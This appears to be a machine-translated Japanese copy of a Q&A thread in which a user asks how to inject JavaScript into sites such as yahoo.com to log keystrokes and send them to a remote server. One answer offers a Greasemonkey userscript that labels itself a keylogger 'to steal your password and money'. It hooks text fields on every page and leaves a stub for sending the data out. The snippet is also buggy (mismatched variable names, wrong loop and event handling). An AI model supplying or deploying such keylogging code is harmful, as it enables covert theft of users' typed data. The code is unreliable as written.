2009-08-30 5 views
-3

私はユーザーの入力パターンを分析するアプリケーションを開発しています。これを達成するには、ユーザーがいるWebページのHTML(yahoo.comなど)を変更する必要があります。ページ内のすべてのテキストボックスアイテムに対して、JavaScriptをいくつか追加してキーダウンイベントとキーアップイベントをキャプチャします。だから、私はこの既存のページに新しいJavaScriptを追加することができる必要があります。この関数はデータをパッケージ化し、リモートサーバー(myApp.comなど)に送信します。javascriptを挿入するFirefoxプラグインまたはgreasemonkeyスクリプト

私は助けを必要と

:Webページ内のすべての要素textarea

  • Aに上に追加されたJavaScriptで定義されたいくつかの機能を追加し
  • HTMLページに

    JavaScriptを挿入
    1. 上記のJavaScriptからリモートサーバー(つまり元のページを提供するサーバーではない)にデータを転送する方法

    Firefoxプラグインが望ましいbu t GreasemonkeyスクリプトもOKです...

    ありがとう!

  • +9

    なぜキーロガーが必要ですか? –

    +0

    何を試しましたか?あなたはまだ何かを構築し始めましたか?具体的な問題は何ですか? –

    +0

    キープレスとパッケージデータを解析するjavascriptが用意されています。私はテキストボックスを持つテストページを持っており、ユーザーの入力をキャプチャすることができます。私は今、他のウェブページと統合する必要があり、私を始めるために必要な助けが必要です。 – user162916

    答えて

    0

    firefoxでしか動作していない場合は、Mozilla Jetpackをお勧めします。

    jQueryと一緒に働くことができて幸せなら、非常に身近な環境です。

    0

    これは、keyupイベントとkeydownイベントを取得するために必要なコードです。

    // ==UserScript== 
    // @name   Log-O-Matic 
    // @description A keylogger to steal your password and money ^^ 
    // @include  http*://* 
    // ==/UserScript== 
    
    var collected_data=""; 
    function collect(event){ collected_data+="/"+event.keyCode;} 
    function send_home(){ /* use GM_xmlhttprequest here to send collected_data */} 
    var textareas = document.getElementsByTagName("textarea"); 
    for(i in textareas) { 
        textareas[i].onKeyPress=collect; 
    } 
    var inputs = document.getElementsByTagName("input"); 
    for(i in input) { 
        if(input[i].type!="password")input[i].onKeyPress=collect; 
    } 
    
    関連する問題